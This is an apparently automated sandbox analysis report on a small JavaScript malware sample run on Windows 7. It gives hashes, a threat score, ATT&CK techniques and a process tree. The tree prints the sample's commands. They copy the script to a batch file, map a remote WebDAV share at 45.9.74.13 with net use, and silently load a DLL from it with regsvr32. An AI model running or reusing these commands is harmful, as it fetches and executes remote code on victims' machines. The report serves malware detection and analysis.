04c2348f657a19c89f4e6e13dd0bb86b72908ca0a3390b87b0d7ea79d91d0e7d

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 01:02

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General

Target

04c2348f657a19c89f4e6e13dd0bb86b72908ca0a3390b87b0d7ea79d91d0e7d.js
Size

5KB
MD5

81ff023b48275d5a6b535a2370fce4a3
SHA1

9de4cdf4c8e6598f2aeb2529b2e2036ed5eedd7f
SHA256

04c2348f657a19c89f4e6e13dd0bb86b72908ca0a3390b87b0d7ea79d91d0e7d
SHA512

47f381a7ba1c3952320761dcc01b87094e576ecb7cefb306d6aaddf925a7e1174a0824766e81a166641cbb2e2723506c451c3d4d05f8d8e26c2be93d33f73849
SSDEEP

96:1cmrqBIO0hGCoFWU6660aBFWU6660WowHZJAcn2PqjVRQ6iVpPkY:1vqaUCoFWU6665BFWU666PMS2PqjVRgF

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2812	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 3052	1712	wscript.exe	31
PID 1712 wrote to memory of 3052	1712	wscript.exe	31
PID 1712 wrote to memory of 3052	1712	wscript.exe	31
PID 3052 wrote to memory of 2584	3052	cmd.exe	33
PID 3052 wrote to memory of 2584	3052	cmd.exe	33
PID 3052 wrote to memory of 2584	3052	cmd.exe	33
PID 3052 wrote to memory of 2812	3052	cmd.exe	34
PID 3052 wrote to memory of 2812	3052	cmd.exe	34
PID 3052 wrote to memory of 2812	3052	cmd.exe	34
PID 3052 wrote to memory of 2812	3052	cmd.exe	34
PID 3052 wrote to memory of 2812	3052	cmd.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\04c2348f657a19c89f4e6e13dd0bb86b72908ca0a3390b87b0d7ea79d91d0e7d.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\04c2348f657a19c89f4e6e13dd0bb86b72908ca0a3390b87b0d7ea79d91d0e7d.js" "C:\Users\Admin\\afzwlo.bat" && "C:\Users\Admin\\afzwlo.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2584
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\220.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\afzwlo.bat

Filesize
5KB

MD5
81ff023b48275d5a6b535a2370fce4a3

SHA1
9de4cdf4c8e6598f2aeb2529b2e2036ed5eedd7f

SHA256
04c2348f657a19c89f4e6e13dd0bb86b72908ca0a3390b87b0d7ea79d91d0e7d

SHA512
47f381a7ba1c3952320761dcc01b87094e576ecb7cefb306d6aaddf925a7e1174a0824766e81a166641cbb2e2723506c451c3d4d05f8d8e26c2be93d33f73849

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